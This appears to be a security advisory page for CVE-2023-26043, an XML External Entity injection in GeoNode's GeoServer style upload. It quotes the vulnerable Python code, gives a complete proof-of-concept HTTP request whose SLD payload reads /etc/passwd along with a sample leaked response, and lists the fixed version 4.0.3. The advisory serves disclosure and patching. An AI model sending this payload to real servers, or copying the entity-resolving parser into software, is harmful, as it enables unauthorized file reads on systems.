geonode
Affected
- introduced
0, fixed4.0.3(ecosystem)
Fixed versions
4.0.3
Fix
- Fixed version
4.0.3pip install --upgrade geonode==4.0.3
Advisory
Also known as: CVE-2023-26043, PYSEC-2023-15
GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection
Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the `dataset_style_upload` view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with `etree.XML` in 2. Since the former uses a default XMLParser, the parsing gets done with the `resolve_entities` flag set to `True`. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
/catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>./etc/passwd:POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
<NamedLayer>
<UserStyle>
<Name>&ent;</Name>
</UserStyle>
</NamedLayer>
</foo>
------WebKitFormBoundaryfoo--
Sample response:
HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}
Impact
This issue may lead to authenticated Arbitrary File Read.
High Basis: The source's own band: HIGH
0, fixed 4.0.3 (ecosystem)4.0.3
4.0.3pip install --upgrade geonode==4.0.3Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0